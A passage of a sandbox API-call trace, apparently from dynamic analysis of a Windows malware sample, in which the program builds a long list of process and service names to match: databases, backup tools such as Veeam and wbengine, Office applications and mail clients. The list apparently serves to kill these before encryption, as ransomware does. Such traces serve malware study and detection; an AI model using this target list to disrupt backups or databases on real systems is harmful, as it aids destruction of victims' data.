DestinationString=0x1c7fe1b0, SourceString="IBM*" | out: DestinationString="IBM*") [0085.181] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="IBM*", AllocateDestinationString=1 | out: DestinationString="IBM*") returned 0x0 [0085.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa) returned 0x1b825280 [0085.181] RtlFreeAnsiString (AnsiString="I") [0085.181] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="bes10*" | out: DestinationString="bes10*") [0085.181] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="bes10*", AllocateDestinationString=1 | out: DestinationString="bes10*") returned 0x0 [0085.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b8252a0 [0085.181] RtlFreeAnsiString (AnsiString="b") [0085.181] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="black*" | out: DestinationString="black*") [0085.181] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="black*", AllocateDestinationString=1 | out: DestinationString="black*") returned 0x0 [0085.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b8252c0 [0085.181] RtlFreeAnsiString (AnsiString="b") [0085.181] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="apach*" | out: DestinationString="apach*") [0085.181] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="apach*", AllocateDestinationString=1 | out: DestinationString="apach*") returned 0x0 [0085.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b8252e0 [0085.181] RtlFreeAnsiString (AnsiString="a") [0085.181] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="bd2*" | out: DestinationString="bd2*") [0085.181] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="bd2*", AllocateDestinationString=1 | out: DestinationString="bd2*") returned 0x0 [0085.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa) returned 0x1b825300 [0085.182] RtlFreeAnsiString (AnsiString="b") [0085.182] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="db*" | out: DestinationString="db*") [0085.182] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="db*", AllocateDestinationString=1 | out: DestinationString="db*") returned 0x0 [0085.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b8243e0 [0085.182] RtlFreeAnsiString (AnsiString="d") [0085.182] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="ba*" | out: DestinationString="ba*") [0085.182] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="ba*", AllocateDestinationString=1 | out: DestinationString="ba*") returned 0x0 [0085.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b8243f0 [0085.182] RtlFreeAnsiString (AnsiString="b") [0085.182] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="be*" | out: DestinationString="be*") [0085.182] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="be*", AllocateDestinationString=1 | out: DestinationString="be*") returned 0x0 [0085.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b824400 [0085.182] RtlFreeAnsiString (AnsiString="b") [0085.182] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="QB*" | out: DestinationString="QB*") [0085.182] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="QB*", AllocateDestinationString=1 | out: DestinationString="QB*") returned 0x0 [0085.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b824410 [0085.182] RtlFreeAnsiString (AnsiString="Q") [0085.182] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="oracle*" | out: DestinationString="oracle*") [0085.182] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="oracle*", AllocateDestinationString=1 | out: DestinationString="oracle*") returned 0x0 [0085.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b825320 [0085.182] RtlFreeAnsiString (AnsiString="o") [0085.182] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="wbengine*" | out: DestinationString="wbengine*") [0085.182] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="wbengine*", AllocateDestinationString=1 | out: DestinationString="wbengine*") returned 0x0 [0085.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b825340 [0085.182] RtlFreeAnsiString (AnsiString="w") [0085.183] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="vee*" | out: DestinationString="vee*") [0085.183] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="vee*", AllocateDestinationString=1 | out: DestinationString="vee*") returned 0x0 [0085.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa) returned 0x1b825360 [0085.183] RtlFreeAnsiString (AnsiString="v") [0085.183] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="postg*" | out: DestinationString="postg*") [0085.183] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="postg*", AllocateDestinationString=1 | out: DestinationString="postg*") returned 0x0 [0085.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b825380 [0085.183] RtlFreeAnsiString (AnsiString="p") [0085.183] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="sage*" | out: DestinationString="sage*") [0085.183] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="sage*", AllocateDestinationString=1 | out: DestinationString="sage*") returned 0x0 [0085.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b8253a0 [0085.183] RtlFreeAnsiString (AnsiString="s") [0085.183] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="sap*" | out: DestinationString="sap*") [0085.183] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="sap*", AllocateDestinationString=1 | out: DestinationString="sap*") returned 0x0 [0085.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa) returned 0x1b8253c0 [0085.183] RtlFreeAnsiString (AnsiString="s") [0085.183] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="b1*" | out: DestinationString="b1*") [0085.183] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="b1*", AllocateDestinationString=1 | out: DestinationString="b1*") returned 0x0 [0085.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b824420 [0085.183] RtlFreeAnsiString (AnsiString="b") [0085.183] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="fdlaunch*" | out: DestinationString="fdlaunch*") [0085.183] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="fdlaunch*", AllocateDestinationString=1 | out: DestinationString="fdlaunch*") returned 0x0 [0085.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b8253e0 [0085.183] RtlFreeAnsiString (AnsiString="f") [0085.183] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="msmdsrv*" | out: DestinationString="msmdsrv*") [0085.183] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="msmdsrv*", AllocateDestinationString=1 | out: DestinationString="msmdsrv*") returned 0x0 [0085.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b825400 [0085.184] RtlFreeAnsiString (AnsiString="m") [0085.184] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="report*" | out: DestinationString="report*") [0085.184] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="report*", AllocateDestinationString=1 | out: DestinationString="report*") returned 0x0 [0085.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b825420 [0085.184] RtlFreeAnsiString (AnsiString="r") [0085.184] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="msdtssr*" | out: DestinationString="msdtssr*") [0085.184] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="msdtssr*", AllocateDestinationString=1 | out: DestinationString="msdtssr*") returned 0x0 [0085.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b825440 [0085.184] RtlFreeAnsiString (AnsiString="m") [0085.184] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="coldfus*" | out: DestinationString="coldfus*") [0085.184] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="coldfus*", AllocateDestinationString=1 | out: DestinationString="coldfus*") returned 0x0 [0085.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b825460 [0085.184] RtlFreeAnsiString (AnsiString="c") [0085.184] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="cfdot*" | out: DestinationString="cfdot*") [0085.184] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="cfdot*", AllocateDestinationString=1 | out: DestinationString="cfdot*") returned 0x0 [0085.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b825480 [0085.184] RtlFreeAnsiString (AnsiString="c") [0085.184] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="swag*" | out: DestinationString="swag*") [0085.184] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="swag*", AllocateDestinationString=1 | out: DestinationString="swag*") returned 0x0 [0085.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b8254a0 [0085.184] RtlFreeAnsiString (AnsiString="s") [0085.184] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="swstrtr*" | out: DestinationString="swstrtr*") [0085.184] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="swstrtr*", AllocateDestinationString=1 | out: DestinationString="swstrtr*") returned 0x0 [0085.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b8254c0 [0085.184] RtlFreeAnsiString (AnsiString="s") [0085.184] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="jetty.exe" | out: DestinationString="jetty.exe") [0085.184] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="jetty.exe", AllocateDestinationString=1 | out: DestinationString="jetty.exe") returned 0x0 [0085.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b8254e0 [0085.184] RtlFreeAnsiString (AnsiString="j") [0085.185] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="wrsa.exe" | out: DestinationString="wrsa.exe") [0085.185] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="wrsa.exe", AllocateDestinationString=1 | out: DestinationString="wrsa.exe") returned 0x0 [0085.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b825500 [0085.185] RtlFreeAnsiString (AnsiString="w") [0085.185] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="team*" | out: DestinationString="team*") [0085.185] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="team*", AllocateDestinationString=1 | out: DestinationString="team*") returned 0x0 [0085.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b825520 [0085.185] RtlFreeAnsiString (AnsiString="t") [0085.185] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="agent*" | out: DestinationString="agent*") [0085.185] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="agent*", AllocateDestinationString=1 | out: DestinationString="agent*") returned 0x0 [0085.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b825540 [0085.185] RtlFreeAnsiString (AnsiString="a") [0085.185] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="store.exe" | out: DestinationString="store.exe") [0085.185] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="store.exe", AllocateDestinationString=1 | out: DestinationString="store.exe") returned 0x0 [0085.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b825560 [0085.185] RtlFreeAnsiString (AnsiString="s") [0085.185] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="sql*" | out: DestinationString="sql*") [0085.185] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="sql*", AllocateDestinationString=1 | out: DestinationString="sql*") returned 0x0 [0085.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa) returned 0x1b825580 [0085.185] RtlFreeAnsiString (AnsiString="s") [0085.185] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="sqbcoreservice.exe" | out: DestinationString="sqbcoreservice.exe") [0085.185] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="sqbcoreservice.exe", AllocateDestinationString=1 | out: DestinationString="sqbcoreservice.exe") returned 0x0 [0085.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b829d90 [0085.185] RtlFreeAnsiString (AnsiString="s") [0085.185] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="thunderbird.exe" | out: DestinationString="thunderbird.exe") [0085.185] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="thunderbird.exe", AllocateDestinationString=1 | out: DestinationString="thunderbird.exe") returned 0x0 [0085.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b829dc0 [0085.186] RtlFreeAnsiString (AnsiString="t") [0085.186] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="ocssd.exe" | out: DestinationString="ocssd.exe") [0085.186] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="ocssd.exe", AllocateDestinationString=1 | out: DestinationString="ocssd.exe") returned 0x0 [0085.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b8255a0 [0085.186] RtlFreeAnsiString (AnsiString="o") [0085.186] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="encsvc.exe" | out: DestinationString="encsvc.exe") [0085.186] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="encsvc.exe", AllocateDestinationString=1 | out: DestinationString="encsvc.exe") returned 0x0 [0085.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b8255c0 [0085.186] RtlFreeAnsiString (AnsiString="e") [0085.186] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="excel.exe" | out: DestinationString="excel.exe") [0085.186] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="excel.exe", AllocateDestinationString=1 | out: DestinationString="excel.exe") returned 0x0 [0085.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b8255e0 [0085.186] RtlFreeAnsiString (AnsiString="e") [0085.186] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="synctime.exe" | out: DestinationString="synctime.exe") [0085.186] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="synctime.exe", AllocateDestinationString=1 | out: DestinationString="synctime.exe") returned 0x0 [0085.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b829df0 [0085.186] RtlFreeAnsiString (AnsiString="s") [0085.186] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="mspub.exe" | out: DestinationString="mspub.exe") [0085.186] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="mspub.exe", AllocateDestinationString=1 | out: DestinationString="mspub.exe") returned 0x0 [0085.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b825600 [0085.186] RtlFreeAnsiString (AnsiString="m") [0085.186] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="ocautoupds.exe" | out: DestinationString="ocautoupds.exe") [0085.186] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="ocautoupds.exe", AllocateDestinationString=1 | out: DestinationString="ocautoupds.exe") returned 0x0 [0085.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b829e20 [0085.186] RtlFreeAnsiString (AnsiString="o") [0085.186] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="thebat.exe" | out: DestinationString="thebat.exe") [0085.187] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="thebat.exe", AllocateDestinationString=1 | out: DestinationString="thebat.exe") returned 0x0 [0085.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b825620 [0085.187] RtlFreeAnsiString (AnsiString="t") [0085.187] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="dbeng50.exe" | out: DestinationString="dbeng50.exe") [0085.187] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="dbeng50.exe", AllocateDestinationString=1 | out: DestinationString="dbeng50.exe") returned 0x0 [0085.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b825640 [0085.187] RtlFreeAnsiString (AnsiString="d") [0085.187] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*sql*" | out: DestinationString="*sql*") [0085.187] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*sql*", AllocateDestinationString=1 | out: DestinationString="*sql*") returned 0x0 [0085.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b825660 [0085.187] RtlFreeAnsiString (AnsiString="*") [0085.187] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="mydesktopservice.exe" | out: DestinationString="mydesktopservice.exe") [0085.187] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="mydesktopservice.exe", AllocateDestinationString=1 | out: DestinationString="mydesktopservice.exe") returned 0x0 [0085.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1b7d7bc0 [0085.187] RtlFreeAnsiString (AnsiString="m") [0085.187] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="onenote.exe" | out: DestinationString="onenote.exe") [0085.187] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="onenote.exe", AllocateDestinationString=1 | out: DestinationString="onenote.exe") returned 0x0 [0085.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b825680 [0085.187] RtlFreeAnsiString (AnsiString="o") [0085.187] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="outlook.exe" | out: DestinationString="outlook.exe") [0085.187] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="outlook.exe", AllocateDestinationString=1 | out: DestinationString="outlook.exe") returned 0x0 [0085.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b8256a0 [0085.187] RtlFreeAnsiString (AnsiString="o") [0085.187] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="powerpnt.exe" | out: DestinationString="powerpnt.exe") [0085.187] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="powerpnt.exe", AllocateDestinationString=1 | out: DestinationString="powerpnt.exe") returned 0x0 [0085.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b829e50 [0085.188] RtlFreeAnsiString (AnsiString="p") [0085.188] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="msaccess.exe" | out: DestinationString="msaccess.exe") [0085.188] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="msaccess.exe", AllocateDestinationString=1 | out: DestinationString="msaccess.exe") returned 0x0 [0085.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b829e80 [0085.188] RtlFreeAnsiString (AnsiString="m") [0085.188] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="tbirdconfig.exe" | out: DestinationString="tbirdconfig.exe") [0085.188] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="tbirdconfig.exe", AllocateDestinationString=1 | out: DestinationString="tbirdconfig.exe") returned 0x0 [0085.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b829eb0 [0085.188] RtlFreeAnsiString (AnsiString="t") [0085.188] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="wordpad.exe" | out: DestinationString="wordpad.exe") [0085.188] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="wordpad.exe", AllocateDestinationString=1 | out: DestinationString="wordpad.exe") returned 0x0 [0085.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82c9a0 [0085.188] RtlFreeAnsiString (AnsiString="w") [0085.188] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="ocomm.exe" | out: DestinationString="ocomm.exe") [0085.188] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="ocomm.exe", AllocateDestinationString=1 | out: DestinationString="ocomm.exe") returned 0x0 [0085.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82c9c0 [0085.188] RtlFreeAnsiString (AnsiString="o") [0085.188] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="dbsnmp.exe" | out: DestinationString="dbsnmp.exe") [0085.188] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="dbsnmp.exe", AllocateDestinationString=1 | out: DestinationString="dbsnmp.exe") returned 0x0 [0085.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82c9e0 [0085.188] RtlFreeAnsiString (AnsiString="d") [0085.188] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="thebat64.exe" | out: DestinationString="thebat64.exe") [0085.188] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="thebat64.exe", AllocateDestinationString=1 | out: DestinationString="thebat64.exe") returned 0x0 [0085.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b829ee0 [0085.188] RtlFreeAnsiString (AnsiString="t") [0085.188] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="winword.exe" | out: DestinationString="winword.exe") [0085.188] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="winword.exe", AllocateDestinationString=1 | out: DestinationString="winword.exe") returned 0x0 [0085.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82ca00 [0085.189] RtlFreeAnsiString (AnsiString="w") [0085.189] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="oracle.exe" | out: DestinationString="oracle.exe") [0085.189] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="oracle.exe", AllocateDestinationString=1 | out: DestinationString="oracle.exe") returned 0x0 [0085.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82ca20 [0085.189] RtlFreeAnsiString (AnsiString="o") [0085.189] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="xfssvccon.exe" | out: DestinationString="xfssvccon.exe") [0085.189] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="xfssvccon.exe", AllocateDestinationString=1 | out: DestinationString="xfssvccon.exe") returned 0x0 [0085.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b829f10 [0085.189] RtlFreeAnsiString (AnsiString="x") [0085.189] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="firefoxconfig.exe" | out: DestinationString="firefoxconfig.exe") [0085.189] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="firefoxconfig.exe", AllocateDestinationString=1 | out: DestinationString="firefoxconfig.exe") returned 0x0 [0085.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b829f40 [0085.189] RtlFreeAnsiString (AnsiString="f") [0085.189] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="visio.exe" | out: DestinationString="visio.exe") [0085.189] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="visio.exe", AllocateDestinationString=1 | out: DestinationString="visio.exe") returned 0x0 [0085.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82ca40 [0085.189] RtlFreeAnsiString (AnsiString="v") [0085.189] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="mydesktopqos.exe" | out: DestinationString="mydesktopqos.exe") [0085.189] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="mydesktopqos.exe", AllocateDestinationString=1 | out: DestinationString="mydesktopqos.exe") returned 0x0 [0085.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b829f70 [0085.189] RtlFreeAnsiString (AnsiString="m") [0085.189] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="infopath.exe" | out: DestinationString="infopath.exe") [0085.189] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="infopath.exe", AllocateDestinationString=1 | out: DestinationString="infopath.exe") returned 0x0 [0085.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b829fa0 [0085.189] RtlFreeAnsiString (AnsiString="i") [0085.189] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="agntsvc.exe" | out: DestinationString="agntsvc.exe") [0085.189] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="agntsvc.exe", AllocateDestinationString=1 | out: DestinationString="agntsvc.exe") returned 0x0 [0085.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82ca60 [0085.190] RtlFreeAnsiString (AnsiString="a") [0085.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x120) returned 0x1051b0 [0085.190] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="Lotus*" | out: DestinationString="Lotus*") [0085.190] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="Lotus*", AllocateDestinationString=1 | out: DestinationString="Lotus*") returned 0x0 [0085.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82ca80 [0085.190] RtlFreeAnsiString (AnsiString="L") [0085.190] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="veeam*" | out: DestinationString="veeam*") [0085.190] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="veeam*", AllocateDestinationString=1 | out: DestinationString="veeam*") returned 0x0 [0085.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82caa0 [0085.190] RtlFreeAnsiString (AnsiString="v") [0085.190] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="cbvscserv*" | out: DestinationString="cbvscserv*") [0085.190] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="cbvscserv*", AllocateDestinationString=1 | out: DestinationString="cbvscserv*") returned 0x0 [0085.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cac0 [0085.190] RtlFreeAnsiString (AnsiString="c") [0085.190] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="hMailServer" | out: DestinationString="hMailServer") [0085.190] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="hMailServer", AllocateDestinationString=1 | out: DestinationString="hMailServer") returned 0x0 [0085.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cae0 [0085.190] RtlFreeAnsiString (AnsiString="h") [0085.190] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="backup*" | out: DestinationString="backup*") [0085.190] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="backup*", AllocateDestinationString=1 | out: DestinationString="backup*") returned 0x0 [0085.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82cb00 [0085.190] RtlFreeAnsiString (AnsiString="b") [0085.190] RtlInitAnsiString (in: 